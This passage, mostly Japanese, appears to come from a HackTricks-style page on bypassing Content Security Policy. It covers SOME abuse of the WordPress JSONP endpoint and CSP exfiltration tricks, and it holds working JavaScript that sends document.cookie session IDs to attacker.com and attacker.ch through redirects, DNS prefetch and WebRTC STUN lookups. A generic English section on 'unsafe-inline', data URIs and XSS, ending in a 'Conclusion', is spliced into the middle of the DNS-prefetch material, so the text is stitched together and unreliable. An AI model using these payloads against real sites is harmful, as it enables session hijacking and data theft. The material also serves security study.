攻撃者は、このエンドポイントを悪用してWordPressに対するSOME攻撃を行い、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>内に埋め込むことができます。このスクリプトは**'self'によって許可されているため、読み込まれます。さらに、WordPressがインストールされているため、攻撃者は、CSPをバイパスしてユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりするために、脆弱な コールバックエンドポイントを介してSOME攻撃**を悪用する可能性があります。
この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を参照してください。

CSP Exfiltration Bypasses

外部サーバーとのやり取りを許可しない厳格なCSPがある場合、情報を外部に漏洩させるために常にできることがいくつかあります。

Location

単にロケーションを更新して、秘密情報を攻撃者のサーバーに送信することができます:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

メタタグ

メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決するよう指示することができます: <link reol="dns-prefetch" href="something.com">

この動作を悪用して、DNSリクエストを介して機密情報を外部流出することができます。

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Content Security Policy (CSP) Bypass

Bypassing CSP using unsafe-inline

One common way to bypass CSP is by using the unsafe-inline keyword in the CSP header. This allows the execution of inline scripts and styles, which are normally blocked by CSP.

To bypass CSP using unsafe-inline, you can inject your malicious code directly into the HTML document, and it will be executed despite the CSP policy.

Bypassing CSP using data: URIs

Another way to bypass CSP is by using data: URIs. By encoding your malicious script into a data URI format, you can bypass CSP restrictions on inline scripts.

To bypass CSP using data: URIs, you can create a data URI with your malicious script and then inject it into the document. This technique allows you to execute scripts inline without triggering CSP violations.

Bypassing CSP using XSS

Cross-Site Scripting (XSS) vulnerabilities can also be used to bypass CSP. By exploiting an XSS vulnerability on a website, an attacker can execute arbitrary scripts in the context of that site, bypassing the CSP restrictions.

To bypass CSP using XSS, you would first need to identify and exploit an XSS vulnerability on the target site. Once the vulnerability is exploited, you can inject and execute your malicious scripts, bypassing the CSP policy.

Conclusion

Content Security Policy (CSP) is a powerful security feature that helps protect websites from various types of attacks. However, as demonstrated above, there are several ways to bypass CSP and execute malicious scripts on a website. It is important for website owners to understand these bypass techniques and implement additional security measures to mitigate the risk of CSP bypass attacks.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

サーバーがこれを回避するために、HTTPヘッダーを送信できます

X-DNS-Prefetch-Control: off

{% hint style="info" %} ヘッドレスブラウザ(ボット)では、このテクニックは機能しないようです。 {% endhint %}

WebRTC

いくつかのページで、WebRTCはCSPのconnect-srcポリシーをチェックしないと読むことができます。

実際に、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

もう1つのオプション:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CSPポリシーのオンラインチェック

CSPを自動的に作成する

https://csper.io/docs/generating-content-security-policy

参考文献

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう

リアルタイムのハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう

最新のアナウンスメント
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう

Discord に参加して、今日からトップハッカーと協力を始めましょう!

**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキングを学びましょう**

HackTricks をサポートする他の方法: